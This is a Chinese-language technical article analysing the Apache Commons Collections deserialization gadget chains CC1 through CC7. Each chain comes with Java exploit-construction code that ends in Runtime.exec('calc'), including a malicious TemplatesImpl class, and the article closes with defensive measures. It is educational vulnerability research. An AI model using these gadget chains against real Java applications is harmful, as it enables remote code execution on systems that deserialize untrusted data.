JAVA CC 1~7 链浅析
字数 1096 2025-08-10 16:34:26
Java Commons Collections反序列化漏洞链(CC1-CC7)深度分析
概述
本文详细分析Apache Commons Collections库中的反序列化漏洞链(CC1-CC7),涵盖漏洞原理、利用链构造和实际利用代码。这些漏洞允许攻击者通过反序列化操作执行任意代码,影响广泛使用该库的Java应用。
环境准备
- JDK版本:建议使用8u65及以下版本进行测试
- Commons Collections版本:3.2.1或4.0
- 测试类:
hello.class(用于CC3、CC4等链的恶意类加载)
CC1链分析
核心组件
-
InvokerTransformer.transform()
public Object transform(Object input) { if (input == null) return null; try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (...) { ... } } -
TransformedMap.checkSetValue()
protected Object checkSetValue(Object value) { return valueTransformer.transform(value); } -
MapEntry.setValue()
public Object setValue(Object value) { value = parent.checkSetValue(value); return entry.setValue(value); }
利用链构造
-
构造Transformer链执行命令:
Transformer[] transforms = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; -
通过TransformedMap触发:
HashMap<Object,Object> map = new HashMap<>(); map.put("value", "val"); Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer); for (Map.Entry entry: transformedMap.entrySet()) { entry.setValue(r); } -
最终通过AnnotationInvocationHandler.readObject()触发:
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Object o = constructor.newInstance(Target.class, transformedMap);
CC2链分析
核心组件
-
PriorityQueue.readObject()
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // ... heapify(); } -
TransformingComparator.compare()
public int compare(final I obj1, final I obj2) { final O value1 = this.transformer.transform(obj1); final O value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2); }
利用链构造
// 使用InvokerTransformer直接调用newTransformer
InvokerTransformer<Object,Object> invokerTransformer =
new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator =
new TransformingComparator<>(new ConstantTransformer(1));
PriorityQueue<Object> queue = new PriorityQueue<>(transformingComparator);
queue.add(templatesImpl);
queue.add(2);
// 反射修改transformer
Field transformsField = TransformingComparator.class.getDeclaredField("transformer");
transformsField.setAccessible(true);
transformsField.set(transformingComparator, invokerTransformer);
CC3链分析
核心组件
-
TemplatesImpl.defineTransletClasses()
private void defineTransletClasses() throws TransformerConfigurationException { // ... _class[i] = loader.defineClass(_bytecodes[i]); // ... } -
TrAXFilter构造函数
public TrAXFilter(Templates templates) throws TransformerConfigurationException { _transformer = (TransformerImpl) templates.newTransformer(); }
利用链构造
-
准备恶意类:
public class hello extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } } // ... } -
构造TemplatesImpl:
TemplatesImpl templatesImpl = new TemplatesImpl(); // 反射设置_name, _bytecodes, _tfactory等字段 -
使用InstantiateTransformer触发:
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl}); Transformer[] transforms = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer };
CC4链分析
核心组件
与CC2类似,但使用InstantiateTransformer代替InvokerTransformer
利用链构造
InstantiateTransformer instantiateTransformer =
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl});
TransformingComparator transformingComparator =
new TransformingComparator<>(new ConstantTransformer(1));
PriorityQueue<Object> queue = new PriorityQueue<>(transformingComparator);
queue.add(1);
queue.add(2);
// 反射修改transformer
Field transformsField = TransformingComparator.class.getDeclaredField("transformer");
transformsField.setAccessible(true);
transformsField.set(transformingComparator, chainedTransformer);
CC5链分析
核心组件
-
BadAttributeValueExpException.readObject()
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { // ... val = valObj.toString(); } -
TiedMapEntry.toString()
public String toString() { return getKey() + "=" + getValue(); }
利用链构造
TiedMapEntry entry = new TiedMapEntry(lazyMap, "ss");
BadAttributeValueExpException badAttribute = new BadAttributeValueExpException(null);
// 反射设置val字段
Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttribute, entry);
CC6链分析
核心组件
-
TiedMapEntry.hashCode()
public int hashCode() { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); } -
LazyMap.get()
public Object get(Object key) { if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
利用链构造
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "sss");
lazyMap.remove("aaa"); // 防止序列化时触发
// 反射修改factory
Field factoryField = LazyMap.class.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);
CC7链分析
核心组件
-
Hashtable.reconstitutionPut()
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { // ... if ((e.hash == hash) && e.key.equals(key)) { throw new java.io.StreamCorruptedException(); } // ... } -
AbstractMap.equals()
public boolean equals(Object o) { // ... if (!value.equals(m.get(key))) return false; // ... }
利用链构造
Map lazyMap1 = LazyMap.decorate(new HashMap(), chainedTransformer);
Map lazyMap2 = LazyMap.decorate(new HashMap(), chainedTransformer);
lazyMap1.put("yy", 1);
lazyMap2.put("zZ", 1); // yy和zZ的hashCode相同
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 1);
lazyMap2.remove("yy"); // 删除防止干扰
防御措施
- 升级Commons Collections到最新安全版本
- 使用SerialKiller等反序列化过滤器
- JVM添加以下安全配置:
-Dorg.apache.commons.collections.enableUnsafeSerialization=false
总结
CC链展示了Java反序列化漏洞的多种利用方式,从最初的InvokerTransformer到后来的各种组合利用。理解这些漏洞链有助于开发安全的序列化/反序列化实现,并有效防御此类攻击。